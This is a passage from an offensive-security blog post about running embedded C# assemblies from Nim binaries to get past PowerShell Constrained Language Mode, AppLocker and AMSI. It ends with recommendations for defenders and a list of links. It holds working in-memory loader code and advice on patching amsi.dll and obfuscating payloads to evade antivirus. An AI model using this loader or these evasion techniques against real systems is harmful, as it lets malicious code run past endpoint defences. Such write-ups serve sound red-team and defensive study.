3,0x73,0x65,0x6D,0x62,0x6C,0x79,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x31,0x22,0x20,0x6D,0x61,0x6E,0x69,0x66,0x65,0x73,0x74,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x49,0x64,0x65,0x6E,0x74,0x69,0x74,0x79,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x22,0x20,0x6E,0x61,0x6D,0x65,0x3D,0x22,0x4D,0x79,0x41,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x61,0x70,0x70,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x32,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x33,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6F,0x6E,0x4C,0x65,0x76,0x65,0x6C,0x20,0x6C,0x65,0x76,0x65,0x6C,0x3D,0x22,0x61,0x73,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x72,0x22,0x20,0x75,0x69,0x41,0x63,0x63,0x65,0x73,0x73,0x3D,0x22,0x66,0x61,0x6C,0x73,0x65,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x2F,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x2F,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x2F,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x3E,0x0D,0x0A,0x3C,0x2F,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x3E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x0C,0x00,0x00,0x00,0x90,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

var assembly = load(buf)

var cmd: seq[string]
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    inc(i)
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

I removed the AMSI bypass and did some string replacements instead to bypass it here. Btw if your C# assembly is detected by AMSI you get the following error message from the Nim binary:

Error: unhandled exception: unable to invoke specified member: Load (0x80131604) [CLRError]

If you feel lazy with C# obfuscation or build your own Nim-loader including an encrypted but not obfuscated C# binary decrypted at runtime you can also use the OffensiveNim amsi_patch_bin.nim template code in front of your EntryPoint.Invoke line. This will look something like this and patches amsi.dll before loading the .NET assembly.

To combine the first chapter with this one - our new PSBypassCLM Nim binary could have been used in my engagement as well:

Conclusion

We saw what Constrained Language Mode and Applocker is about and how to bypass them. Bypassing Constrained Language Mode is mostly about direct communication to the .NET API instead of using the native Powershell.exe. Bypassing Applocker depends heavily on the configuration in use. The configuration containing each policy can be viewed by any loggedon user and afterwards analyzed for weak points. Using the default Applocker policy results in many publicy available bypass methods using native windows tools such as Msbuild.exe, rundll32.exe and so on. I highly recommend every defender reading this to nethertheless enable Constrained Language Mode at least on all clients. Applocker with a good configuration makes it nearly impossible for any malware to sucessfully execute code, so this is also recommended. Care should be taken, however, that the daily-business has no impact because legit applications are blocked.

Using Nim for Offensive Security purposes has some pretty cool advantages. It compiles directly to C/C++ which gives us all benefits of those languages. Even without good skill in C/C++ its easy to use Nim instead and get a valuable C-binary from it. The OffensiveNim repo by byt3bl33d3r offers many example templates ranging from a simple MessageBox, embedding C code in Nim, PPID Spoofing & BlockDLLs, shellcode execution and many more up to reflectively executing .NET assemblies from memory. We focused on building a Nim byte array from any C# binary to build a custom C-compiled binary with the execute_assembly_bin.nim template. We saw how to parse parameters in Nim and afterwards passing them to the C# assembly. Last but not least we used the Nim AMSI template to patch amsi.dll before loading the .NET assembly from memory.

Wrapping existing tools into another language CAN be used for AV-Evasion but i think it’s only a matter of time till signatures for the OffensiveNim templates exist. So it’s recommended to customize them and/or obfuscate the .NET assemblies before embedding them.

Links & Resources

OffensiveNim - https://github.com/byt3bl33d3r/OffensiveNim
Constrained Language Mode - https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
Powershell Runspace - https://docs.microsoft.com/en-us/powershell/scripting/developer/hosting/windows-powershell-host-quickstart?view=powershell-7.1
PSByPassCLM - https://github.com/padovah4ck/PSByPassCLM
PowerShdll - https://github.com/p3nt4/PowerShdll
InsecurePowershell - https://github.com/cobbr/InsecurePowerShell
PowerLessShell - https://github.com/Mr-Un1k0d3r/PowerLessShell
MSBuildShell - https://github.com/Cn33liz/MSBuildShell
Applocker - https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker
Generic Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
Verified Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
Find writable PATH Environment variable locations - https://gist.github.com/wdormann/eb714d1d935bf454eb419a34be266f6f
Connected Devices Platform Service (CDPSvc) DLL Hijack - http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-eop.html
Windows 10 Task Scheduler service DLL Hijack - https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/
UsoDllLoader - https://github.com/itm4n/UsoDllLoader
WerTrigger - https://github.com/sailay1996/WerTrigger
Faxhell - https://github.com/ionescu007/faxhell
FileWrite2System - https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/FileWrite2system.txt
IlSpy - https://github.com/icsharpcode/ILSpy
dnSpy - https://github.com/dnSpy/dnSpy
Ida Pro - https://www.hex-rays.com/products/ida/
Ghidra - https://ghidra-sre.org/
execute_assembly_bin.nim template - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
Rubeus - https://github.com/GhostPack/Rubeus
Nim execute assembly + AMSI bypass gist - https://gist.github.com/S3cur3Th1sSh1t/06733ce759fe8844fc2ce7b3c609bfd5